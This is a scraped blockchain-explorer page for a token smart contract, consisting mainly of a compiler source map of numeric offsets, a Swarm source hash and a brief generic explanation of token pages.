7054:2041:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3564:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4445:169;;;;;;:::i;:::-;;:::i;:::-;;;3539:14:1;;3532:22;3514:41;;3502:2;3487:18;4445:169:0;3469:92:1;3868:100:0;3948:12;;3868:100;;;9001:25:1;;;8989:2;8974:18;3868:100:0;8956:76:1;7158:31:0;;;;;;4622:380;;;;;;:::i;:::-;;:::i;3768:92::-;3843:9;;3768:92;;3843:9;;;;9179:36:1;;9167:2;9152:18;3768:92:0;9134:87:1;8073:106:0;;;;;;:::i;:::-;-1:-1:-1;;;;;8154:17:0;8130:4;8154:17;;;:10;:17;;;;;;;;;8073:106;8791:301;;;;;;:::i;:::-;;:::i;:::-;;8187:367;;;;;;:::i;:::-;;:::i;7980:85::-;;;;;;:::i;:::-;;:::i;7196:28::-;;;;;-1:-1:-1;;;;;7196:28:0;;;;;;-1:-1:-1;;;;;3330:32:1;;;3312:51;;3300:2;3285:18;7196:28:0;3267:102:1;3976:119:0;;;;;;:::i;:::-;;:::i;1719:148::-;;;:::i;8562:221::-;;;;;;:::i;:::-;;:::i;7094:19::-;;;;;;;;;;;;7120:31;;;;;;1289:79;1327:7;1354:6;-1:-1:-1;;;;;1354:6:0;1289:79;;3664:96;;;:::i;4103:175::-;;;;;;:::i;:::-;;:::i;4286:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4402:18:0;;;4375:7;4402:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4286:151;2022:244;;;;;;:::i;:::-;;:::i;3564:92::-;3610:13;3643:5;3636:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3564:92;:::o;4445:169::-;4528:4;4545:39;417:10;4568:7;4577:6;4545:8;:39::i;:::-;-1:-1:-1;4602:4:0;4445:169;;;;:::o;4622:380::-;4728:4;4745:36;4755:6;4763:9;4774:6;4745:9;:36::i;:::-;4868:12;;-1:-1:-1;;;;;4837:19:0;;4792:15;4837:19;;;:11;:19;;;;;;;;417:10;4837:28;;;;;;;;;417:10;;-1:-1:-1;4833:140:0;;;-1:-1:-1;;;;;4923:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;4897:64;;4906:6;;4914:7;;4923:37;;4954:6;;4923:37;:::i;:::-;4897:8;:64::i;:::-;-1:-1:-1;4990:4:0;;4622:380;-1:-1:-1;;;;4622:380:0:o;8791:301::-;882:6;;-1:-1:-1;;;;;882:6:0;417:10;882:22;874:53;;;;-1:-1:-1;;;874:53:0;;;;;;;:::i;:::-;;;;;;;;;8931:7:::1;:18:::0;;;::::1;;;;-1:-1:-1::0;;8931:18:0;;::::1;::::0;;;::::1;::::0;;;8960:13:::1;:30:::0;;-1:-1:-1;;;;;8960:30:0;;::::1;-1:-1:-1::0;;;;;;8960:30:0;;::::1;::::0;;;::::1;::::0;;;9001:16:::1;:36:::0;9048:16:::1;:36:::0;8791:301::o;8187:367::-;8261:4;882:6;;-1:-1:-1;;;;;882:6:0;417:10;882:22;874:53;;;;-1:-1:-1;;;874:53:0;;;;;;;:::i;:::-;8283:9:::1;8278:247;8302:5;:12;8298:1;:16;8278:247;;;8336:13;8352:5;8358:1;8352:8;;;;;;-1:-1:-1::0;;;8352:8:0::1;;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8379:17:0;::::1;;::::0;;;:10:::1;:17:::0;;;;;;;;8352:8;;-1:-1:-1;8379:17:0::1;;::::0;:40:::1;;-1:-1:-1::0;;;;;;8400:19:0;::::1;::::0;8379:40:::1;8375:54;;;8421:8;;;8375:54;8444:30;8450:5;8457:16;8467:5;8457:9;:16::i;:::-;8444:5;:30::i;:::-;-1:-1:-1::0;;;;;8489:17:0::1;;::::0;;;:10:::1;:17;::::0;;;;:24;;-1:-1:-1;;8489:24:0::1;8509:4;8489:24;::::0;;8278:247:::1;8316:3:::0;::::1;::::0;::::1;:::i;:::-;;;;8278:247;;;;8542:4;8535:11;;938:1;8187:367:::0;;;:::o;7980:85::-;8030:27;417:10;8050:6;8030:5;:27::i;:::-;7980:85;:::o;3976:119::-;-1:-1:-1;;;;;4069:18:0;4042:7;4069:18;;;:9;:18;;;;;;;3976:119::o;1719:148::-;882:6;;-1:-1:-1;;;;;882:6:0;417:10;882:22;874:53;;;;-1:-1:-1;;;874:53:0;;;;;;;:::i;:::-;1826:1:::1;1810:6:::0;;1789:40:::1;::::0;-1:-1:-1;;;;;1810:6:0;;::::1;::::0;1789:40:::1;::::0;1826:1;;1789:40:::1;1857:1;1840:19:::0;;-1:-1:-1;;;;;;1840:19:0::1;::::0;;1719:148::o;8562:221::-;8639:4;882:6;;-1:-1:-1;;;;;882:6:0;417:10;882:22;874:53;;;;-1:-1:-1;;;874:53:0;;;;;;;:::i;:::-;8661:9:::1;8656:98;8680:5;:12;8676:1;:16;8656:98;;;8737:5;8714:10;:20;8725:5;8731:1;8725:8;;;;;;-1:-1:-1::0;;;8725:8:0::1;;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8714:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8714:20:0;:28;;-1:-1:-1;;8714:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8694:3;::::1;::::0;::::1;:::i;:::-;;;;8656:98;;3664:96:::0;3712:13;3745:7;3738:14;;;;;:::i;4103:175::-;4189:4;4206:42;417:10;4230:9;4241:6;4206:9;:42::i;2022:244::-;882:6;;-1:-1:-1;;;;;882:6:0;417:10;882:22;874:53;;;;-1:-1:-1;;;874:53:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2111:22:0;::::1;2103:73;;;::::0;-1:-1:-1;;;2103:73:0;;5183:2:1;2103:73:0::1;::::0;::::1;5165:21:1::0;5222:2;5202:18;;;5195:30;5261:34;5241:18;;;5234:62;-1:-1:-1;;;5312:18:1;;;5305:36;5358:19;;2103:73:0::1;5155:228:1::0;2103:73:0::1;2213:6;::::0;;2192:38:::1;::::0;-1:-1:-1;;;;;2192:38:0;;::::1;::::0;2213:6;::::1;::::0;2192:38:::1;::::0;::::1;2241:6;:17:::0;;-1:-1:-1;;;;;;2241:17:0::1;-1:-1:-1::0;;;;;2241:17:0;;;::::1;::::0;;;::::1;::::0;;2022:244::o;6602:346::-;-1:-1:-1;;;;;6704:19:0;;6696:68;;;;-1:-1:-1;;;6696:68:0;;7893:2:1;6696:68:0;;;7875:21:1;7932:2;7912:18;;;7905:30;7971:34;7951:18;;;7944:62;-1:-1:-1;;;8022:18:1;;;8015:34;8066:19;;6696:68:0;7865:226:1;6696:68:0;-1:-1:-1;;;;;6783:21:0;;6775:68;;;;-1:-1:-1;;;6775:68:0;;5590:2:1;6775:68:0;;;5572:21:1;5629:2;5609:18;;;5602:30;5668:34;5648:18;;;5641:62;-1:-1:-1;;;5719:18:1;;;5712:32;5761:19;;6775:68:0;5562:224:1;6775:68:0;-1:-1:-1;;;;;6856:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6908:32;;9001:25:1;;;6908:32:0;;8974:18:1;6908:32:0;;;;;;;;6602:346;;;:::o;5010:660::-;-1:-1:-1;;;;;5116:20:0;;5108:70;;;;-1:-1:-1;;;5108:70:0;;7487:2:1;5108:70:0;;;7469:21:1;7526:2;7506:18;;;7499:30;7565:34;7545:18;;;7538:62;-1:-1:-1;;;7616:18:1;;;7609:35;7661:19;;5108:70:0;7459:227:1;5108:70:0;-1:-1:-1;;;;;5197:23:0;;5189:71;;;;-1:-1:-1;;;5189:71:0;;4376:2:1;5189:71:0;;;4358:21:1;4415:2;4395:18;;;4388:30;4454:34;4434:18;;;4427:62;-1:-1:-1;;;4505:18:1;;;4498:33;4548:19;;5189:71:0;4348:225:1;5189:71:0;5271:47;5292:6;5300:9;5311:6;5271:20;:47::i;:::-;-1:-1:-1;;;;;5355:17:0;;5331:21;5355:17;;;:9;:17;;;;;;5391:23;;;;5383:74;;;;-1:-1:-1;;;5383:74:0;;5993:2:1;5383:74:0;;;5975:21:1;6032:2;6012:18;;;6005:30;6071:34;6051:18;;;6044:62;-1:-1:-1;;;6122:18:1;;;6115:36;6168:19;;5383:74:0;5965:228:1;5383:74:0;-1:-1:-1;;;;;5493:17:0;;;;;;;:9;:17;;;;;;5513:22;;;5493:42;;5580:20;;;;;;;:29;;5529:6;;5580:29;:::i;:::-;-1:-1:-1;;;;;5557:20:0;;;;;;;:9;:20;;;;;;;:52;;;;5627:35;;;;;;;;;;5655:6;9001:25:1;;8989:2;8974:18;;8956:76;5627:35:0;;;;;;;;5010:660;;;;:::o;6054:540::-;-1:-1:-1;;;;;6138:21:0;;6130:67;;;;-1:-1:-1;;;6130:67:0;;6734:2:1;6130:67:0;;;6716:21:1;6773:2;6753:18;;;6746:30;6812:34;6792:18;;;6785:62;-1:-1:-1;;;6863:18:1;;;6856:31;6904:19;;6130:67:0;6706:223:1;6130:67:0;6208:49;6229:7;6246:1;6250:6;6208:20;:49::i;:::-;-1:-1:-1;;;;;6295:18:0;;6270:22;6295:18;;;:9;:18;;;;;;6332:24;;;;6324:71;;;;-1:-1:-1;;;6324:71:0;;4780:2:1;6324:71:0;;;4762:21:1;4819:2;4799:18;;;4792:30;4858:34;4838:18;;;4831:62;-1:-1:-1;;;4909:18:1;;;4902:32;4951:19;;6324:71:0;4752:224:1;6324:71:0;-1:-1:-1;;;;;6431:18:0;;;;;;:9;:18;;;;;6452:23;;;6431:44;;6512:12;;:21;;6469:6;;6512:21;:::i;:::-;6497:12;:36;6549:37;;9001:25:1;;;6575:1:0;;-1:-1:-1;;;;;6549:37:0;;;;;8989:2:1;8974:18;6549:37:0;8956:76:1;7407:565:0;-1:-1:-1;;;;;7525:16:0;;;;;;:10;:16;;;;;;;;7524:17;:36;;;;-1:-1:-1;;;;;;7546:14:0;;;;;;:10;:14;;;;;;;;7545:15;7524:36;7516:92;;;;-1:-1:-1;;;7516:92:0;;8298:2:1;7516:92:0;;;8280:21:1;8337:2;8317:18;;;8310:30;8376:34;8356:18;;;8349:62;-1:-1:-1;;;8427:18:1;;;8420:41;8478:19;;7516:92:0;8270:233:1;7516:92:0;7625:13;;-1:-1:-1;;;;;7625:13:0;7621:148;;1327:7;1354:6;-1:-1:-1;;;;;7677:15:0;;;1354:6;;7677:15;;:32;;-1:-1:-1;1327:7:0;1354:6;-1:-1:-1;;;;;7696:13:0;;;1354:6;;7696:13;7677:32;7669:67;;;;-1:-1:-1;;;7669:67:0;;7136:2:1;7669:67:0;;;7118:21:1;7175:2;7155:18;;;7148:30;-1:-1:-1;;;7194:18:1;;;7187:52;7256:18;;7669:67:0;7108:172:1;7669:67:0;7407:565;;;:::o;7621:148::-;7785:7;;;;;;;:32;;;;-1:-1:-1;7804:13:0;;-1:-1:-1;;;;;7796:21:0;;;7804:13;;7796:21;7785:32;7781:184;;;7874:16;;7864:6;7842:19;7858:2;7842:15;:19::i;:::-;:28;;;;:::i;:::-;:48;;:100;;;;;7926:16;;7916:6;7894:19;7910:2;7894:15;:19::i;:::-;:28;;;;:::i;:::-;:48;;7842:100;7834:119;;;;-1:-1:-1;;;7834:119:0;;6400:2:1;7834:119:0;;;6382:21:1;6439:1;6419:18;;;6412:29;-1:-1:-1;;;6457:18:1;;;6450:36;6503:18;;7834:119:0;6372:155:1;14:173;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;192:196;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;325:6;317;310:22;272:2;353:29;372:9;353:29;:::i;:::-;343:39;262:126;-1:-1:-1;;;262:126:1:o;393:270::-;461:6;469;522:2;510:9;501:7;497:23;493:32;490:2;;;543:6;535;528:22;490:2;571:29;590:9;571:29;:::i;:::-;561:39;;619:38;653:2;642:9;638:18;619:38;:::i;:::-;609:48;;480:183;;;;;:::o;668:338::-;745:6;753;761;814:2;802:9;793:7;789:23;785:32;782:2;;;835:6;827;820:22;782:2;863:29;882:9;863:29;:::i;:::-;853:39;;911:38;945:2;934:9;930:18;911:38;:::i;:::-;901:48;;996:2;985:9;981:18;968:32;958:42;;772:234;;;;;:::o;1011:264::-;1079:6;1087;1140:2;1128:9;1119:7;1115:23;1111:32;1108:2;;;1161:6;1153;1146:22;1108:2;1189:29;1208:9;1189:29;:::i;:::-;1179:39;1265:2;1250:18;;;;1237:32;;-1:-1:-1;;;1098:177:1:o;1280:1177::-;1364:6;1395:2;1438;1426:9;1417:7;1413:23;1409:32;1406:2;;;1459:6;1451;1444:22;1406:2;1504:9;1491:23;1533:18;1574:2;1566:6;1563:14;1560:2;;;1595:6;1587;1580:22;1560:2;1638:6;1627:9;1623:22;1613:32;;1683:7;1676:4;1672:2;1668:13;1664:27;1654:2;;1710:6;1702;1695:22;1654:2;1751;1738:16;1773:2;1769;1766:10;1763:2;;;1779:18;;:::i;:::-;1825:2;1822:1;1818:10;1857:2;1851:9;1920:2;1916:7;1911:2;1907;1903:11;1899:25;1891:6;1887:38;1975:6;1963:10;1960:22;1955:2;1943:10;1940:18;1937:46;1934:2;;;1986:18;;:::i;:::-;2022:2;2015:22;2072:18;;;2106:15;;;;-1:-1:-1;2141:11:1;;;2171;;;2167:20;;2164:33;-1:-1:-1;2161:2:1;;;2215:6;2207;2200:22;2161:2;2242:6;2233:15;;2257:169;2271:2;2268:1;2265:9;2257:169;;;2328:23;2347:3;2328:23;:::i;:::-;2316:36;;2289:1;2282:9;;;;;2372:12;;;;2404;;2257:169;;;-1:-1:-1;2445:6:1;1375:1082;-1:-1:-1;;;;;;;;1375:1082:1:o;2462:504::-;2545:6;2553;2561;2569;2622:3;2610:9;2601:7;2597:23;2593:33;2590:2;;;2644:6;2636;2629:22;2590:2;2688:9;2675:23;2741:5;2734:13;2727:21;2720:5;2717:32;2707:2;;2768:6;2760;2753:22;2707:2;2796:5;-1:-1:-1;2820:38:1;2854:2;2839:18;;2820:38;:::i;:::-;2580:386;;2810:48;;-1:-1:-1;;;;2905:2:1;2890:18;;2877:32;;2956:2;2941:18;2928:32;;2580:386::o;2971:190::-;3030:6;3083:2;3071:9;3062:7;3058:23;3054:32;3051:2;;;3104:6;3096;3089:22;3051:2;-1:-1:-1;3132:23:1;;3041:120;-1:-1:-1;3041:120:1:o;3566:603::-;3678:4;3707:2;3736;3725:9;3718:21;3768:6;3762:13;3811:6;3806:2;3795:9;3791:18;3784:34;3836:4;3849:140;3863:6;3860:1;3857:13;3849:140;;;3958:14;;;3954:23;;3948:30;3924:17;;;3943:2;3920:26;3913:66;3878:10;;3849:140;;;4007:6;4004:1;4001:13;3998:2;;;4077:4;4072:2;4063:6;4052:9;4048:22;4044:31;4037:45;3998:2;-1:-1:-1;4153:2:1;4132:15;-1:-1:-1;;4128:29:1;4113:45;;;;4160:2;4109:54;;3687:482;-1:-1:-1;;;3687:482:1:o;8508:342::-;8710:2;8692:21;;;8749:2;8729:18;;;8722:30;-1:-1:-1;;;8783:2:1;8768:18;;8761:48;8841:2;8826:18;;8682:168::o;9226:128::-;9266:3;9297:1;9293:6;9290:1;9287:13;9284:2;;;9303:18;;:::i;:::-;-1:-1:-1;9339:9:1;;9274:80::o;9359:125::-;9399:4;9427:1;9424;9421:8;9418:2;;;9432:18;;:::i;:::-;-1:-1:-1;9469:9:1;;9408:76::o;9489:380::-;9568:1;9564:12;;;;9611;;;9632:2;;9686:4;9678:6;9674:17;9664:27;;9632:2;9739;9731:6;9728:14;9708:18;9705:38;9702:2;;;9785:10;9780:3;9776:20;9773:1;9766:31;9820:4;9817:1;9810:15;9848:4;9845:1;9838:15;9702:2;;9544:325;;;:::o;9874:135::-;9913:3;-1:-1:-1;;9934:17:1;;9931:2;;;9954:18;;:::i;:::-;-1:-1:-1;10001:1:1;9990:13;;9921:88::o;10014:127::-;10075:10;10070:3;10066:20;10063:1;10056:31;10106:4;10103:1;10096:15;10130:4;10127:1;10120:15;10146:127;10207:10;10202:3;10198:20;10195:1;10188:31;10238:4;10235:1;10228:15;10262:4;10259:1;10252:15
Swarm Source
ipfs://bd86d0c3ce097998471f03eb7d562f1afff08445b17815d38bfa61b9eac6bcf3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.